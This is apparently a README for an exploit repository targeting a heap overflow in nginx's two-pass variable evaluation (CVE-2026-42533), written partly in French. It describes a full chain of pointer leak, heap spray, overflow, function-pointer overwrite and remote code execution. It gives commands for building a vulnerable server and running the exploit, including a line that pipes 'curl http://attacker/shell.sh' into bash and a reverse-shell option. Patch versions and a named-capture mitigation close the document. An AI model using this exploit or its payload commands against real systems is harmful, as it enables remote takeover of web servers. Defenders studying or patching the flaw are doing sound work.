┌─────────────────────────────────────────────────────────────┐
│  LEN PASS (measure)                                          │
│    $1 from location ~ ^/api/(...)$ = "abc" → measures 3 bytes│
│    $overflow_gadget = giant_header → measures 5000 bytes     │
│    Buffer allocated: 5003 bytes                              │
│                                                              │
│  [ $overflow_gadget triggers map regex → clobbers $1 ]      │
│    $1 now = giant_header (5000 bytes)                        │
│                                                              │
│  VALUE PASS (write)                                          │
│    $1 writes 5000 bytes (LEN said 3!)  → OVERFLOW!          │
│    $overflow_gadget writes 5000 bytes                        │
│    Total written: 10000 bytes into 5003-byte buffer          │
│    → 4997 bytes overflow into adjacent heap                  │
└─────────────────────────────────────────────────────────────┘

struct ngx_pool_cleanup_s {
    ngx_pool_cleanup_pt  handler;  // function pointer → overwrite for RIP control
    void                *data;     // argument to handler
    ngx_pool_cleanup_t  *next;     // next in chain
};

CVE-2026-42533/
├── exploit/
│   ├── exploit.py       # Chaîne d'exploitation complète (fuite → spray → dépassement → RCE)
│   ├── leak.py          # Module de fuite d'informations (fuite de pointeurs tas/libc)
│   ├── overflow.py      # Module de dépassement de tas (déclenchement de crash / RCE)
│   ├── analyze.py       # Assistant d'analyse GDB pour la détermination des décalages
│   └── requirements.txt # Dépendances Python
├── nginx/
│   └── nginx.conf       # Configuration nginx vulnérable
├── Dockerfile            # Construction Docker pour l'environnement de test (Ubuntu 24.04)
├── docker-compose.yml    # Docker Compose pour un déploiement facile
└── README.md

# Mode diagnostic — montre l'inadéquation en deux passes (sûr, pas de crash)
python3 exploit/overflow.py <target> --diagnose

  header=   10: LEN=   13 actual=   13 internal_overflow=    7 ✓
  header=  100: LEN=  103 actual=  103 internal_overflow=   97 ✓
  header= 1000: LEN= 1003 actual= 1003 internal_overflow=  997 ✓

python3 exploit/overflow.py <target> --crash

worker process 12282 exited on signal 6 (core dumped)
free(): invalid next size (normal)

# Ubuntu 24.04 (confirmé fonctionnel)
ssh root@<your-server>
apt-get install -y build-essential libpcre2-dev libssl-dev zlib1g-dev
wget https://nginx.org/download/nginx-1.27.4.tar.gz
tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
./configure --prefix=/usr/local/nginx --with-cc-opt='-g -O0'
make -j$(nproc) && make install

# Copier la configuration vulnérable
cp nginx/nginx.conf /usr/local/nginx/conf/nginx.conf
/usr/local/nginx/sbin/nginx

# Exécuter l'exploit depuis votre machine
python3 exploit/overflow.py <server-ip> --diagnose

docker compose up -d --build
python3 exploit/overflow.py localhost --port 8080 --diagnose

python3 exploit/exploit.py <target> [options]

# Exemples :
python3 exploit/exploit.py 192.168.1.100                    # entièrement automatique
python3 exploit/exploit.py 192.168.1.100 --leak-only        # reconnaissance uniquement
python3 exploit/exploit.py 192.168.1.100 --crash            # vérifier la vuln
python3 exploit/exploit.py 192.168.1.100 --cmd "id > /tmp/pwned"

# Mode manuel (si vous avez des adresses pré-fuitées)
python3 exploit/exploit.py 192.168.1.100 \
    --libc 0x7f1234000000 \
    --heap 0x5a1234000000 \
    --cmd "curl http://attacker/shell.sh | bash"

# Reverse shell
python3 exploit/exploit.py 192.168.1.100 \
    --reverse-shell --lhost 10.0.0.1 --lport 4444

python3 exploit/leak.py <target> [options]

# Mode silencieux (affiche uniquement les adresses)
python3 exploit/leak.py 192.168.1.100 -q
# LIBC:0x7f1234567890
# HEAP:0x5a1234567890

python3 exploit/overflow.py <target> --crash     # faire crasher le worker (PoC)
python3 exploit/overflow.py <target> --spray     # spray du tas uniquement

# 1. A regex-based map (clobbers capture state)
map $http_x_overflow $overflow_gadget {
    "~^(.+)$"  $1;       # regex match overwrites $1
    default    "";
}

# 2. A regex location (creates captures)
server {
    location ~ ^/api/(...)$ {   # creates $1, $2, ...
        # 3. Both capture AND map variable in same directive
        return 200 "$1$overflow_gadget";   # ← two-pass sink
    }
}

Worker PID:  12282

[Phase 1] Diagnostic:
  header=100:  LEN=103,  response=103  ✓
  header=1000: LEN=1003, response=1003 ✓ (997 byte internal overflow!)

[Phase 2] Heap Corruption:
  8000-byte header → VALUE writes 16000 bytes into 8003-byte buffer
  → 7997 bytes overflow past buffer boundary

Worker PID:  12331  (NEW — old worker DEAD!)

Error log:
  free(): invalid next size (normal)
  worker process 12282 exited on signal 6 (core dumped)

# Mettez à jour vers les versions corrigées :
# nginx 1.30.4+ (stable) / 1.31.3+ (mainline)
# NGINX Plus R36 P7 / 37.0.3.1

# VULNERABLE
map $http_foo $bar {
    "~^(.+)$"  $1;    # numbered capture → clobbers shared state
}

# MITIGATED
map $http_foo $bar {
    "~^(?<val>.+)$"  $val;  # named capture → isolated
}